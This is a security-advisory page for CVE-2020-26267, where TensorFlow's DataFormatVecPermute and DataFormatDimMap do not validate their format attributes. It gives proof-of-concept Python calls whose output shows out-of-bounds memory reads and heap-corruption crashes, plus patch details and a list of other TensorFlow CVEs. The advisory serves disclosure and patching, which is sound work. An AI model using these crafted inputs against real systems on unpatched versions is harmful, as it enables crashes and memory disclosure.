Low

Lack of validation in data format attributes in TensorFlow

  • Disclosed: 10.12.2020
  • Updated: 11.10.2026 15:17

Impact

The tf.raw_ops.DataFormatVecPermute API does not validate the src_format and dst_format attributes. The code assumes that these two arguments define a permutation of NHWC.

However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.

python
>>> import tensorflow as tf
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], 
                                    src_format='1234', dst_format='1253')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1234', dst_format='1223')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1224', dst_format='1423')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='12345678', dst_format='87654321')
munmap_chunk(): invalid pointer
Aborted
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],           
                                    src_format='12345678', dst_format='87654321')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[71364624,        0],
       [71365824,        0],
       [     560,        0],
       [      48,        0]], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], 
                                    src_format='12345678', dst_format='87654321')
free(): invalid next size (fast)
Aborted

A similar issue occurs in tf.raw_ops.DataFormatDimMap, for the same reasons:

python
>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',
>>> dst_format='8765')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[1954047348, 1954047348],
       [1852793646, 1852793646],
       [1954047348, 1954047348],
       [1852793632, 1852793632]], dtype=int32)>

Patches

We have patched the issue in GitHub commit ebc70b7a592420d3d2f359e4b1694c236b82c7ae and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.

Since this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) tensorflow < 1.15.5, >= 2.0.0, < 2.0.4, >= 2.1.0, < 2.1.3, >= 2.2.0, < 2.2.2, >= 2.3.0, < 2.3.2 1.15.5, 2.0.4, 2.1.3, 2.2.2, 2.3.2
Python (PyPI) tensorflow-cpu < 1.15.5, >= 2.0.0, < 2.0.4, >= 2.1.0, < 2.1.3, >= 2.2.0, < 2.2.2, >= 2.3.0, < 2.3.2 1.15.5, 2.0.4, 2.1.3, 2.2.2, 2.3.2
Python (PyPI) tensorflow-gpu < 1.15.5, >= 2.0.0, < 2.0.4, >= 2.1.0, < 2.1.3, >= 2.2.0, < 2.2.2, >= 2.3.0, < 2.3.2 1.15.5, 2.0.4, 2.1.3, 2.2.2, 2.3.2

References

CVSS score 4.4/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Weakness (CWE)
CWE-125
Platform
Python (PyPI)
Package
tensorflow, tensorflow-cpu, tensorflow-gpu
Disclosed
10.12.2020
Updated
11.10.2026 15:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2020-140 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2020-298 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2020-333 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-c9f3-9wfr-wgh7 - CC BY 4.0

Vulnerability history: tensorflow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (433) in the archive
Total entries
433
First → latest
04.2019 07.2024
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 6
  • High 112
  • Medium 210
  • Low 105

Disclosures per year

  1. 2019: 7
  2. 2020: 35
  3. 2021: 200
  4. 2022: 169
  5. 2023: 21
  6. 2024: 1
  7. 2025: 0
  8. 2026: 0
Severity:
  1. Lack of validation in data format attributes in TensorFlow this entry
    Low · 4.4 CVE-2020-26267 < 1.15.5, >= 2.0.0, < 2.0.4, >= 2.1.0, < 2.1.3, >= 2.2.0, < 2.2.2, >= 2.3.0, < 2.3.2 1.15.5, 2.0.4, 2.1.3, 2.2.2, 2.3.2
  2. High · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  3. High · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  4. High · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  5. High · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  6. High · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  7. High · 7.5 CVE-2023-25664 < 2.11.1 2.11.1
  8. High · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  9. High · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  10. High · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  11. High · 7.5 CVE-2023-25671 < 2.11.1 2.11.1
  12. High · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  13. High · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  14. High · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  15. High · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  16. High · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  17. High · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  18. High · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  19. High · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
  20. High · 7.1 CVE-2022-41902 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  21. High · 7.1 CVE-2022-41900 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  22. High · 7.1 CVE-2022-41894 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  23. High · 7.0 CVE-2022-35939 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  24. High · 7.0 CVE-2022-35937 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  25. High · 7.8 CVE-2022-29216 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  26. High · 7.1 CVE-2022-29208 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  27. Critical · 9.3 ghsa-h6gw-r52c-724r < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  28. High · 7.0 ghsa-43q8-3fv7-pr5x < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  29. High · 8.8 CVE-2022-23594 >= 2.7.0, < 2.7.1 2.7.1
  30. High · 8.8 CVE-2022-23560 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  31. High · 7.1 CVE-2022-23563 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  32. High · 8.1 CVE-2022-23592 >= 2.8.0-rc0, < 2.8.0 2.8.0
  33. High · 7.5 CVE-2022-23591 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  34. High · 8.8 CVE-2022-23574 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  35. High · 7.6 CVE-2022-23573 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  36. High · 7.6 CVE-2022-23562 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  37. High · 8.8 CVE-2022-23561 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  38. High · 8.8 CVE-2022-23559 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  39. High · 8.8 CVE-2022-23566 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
Show more (20) Showing 41 of 119

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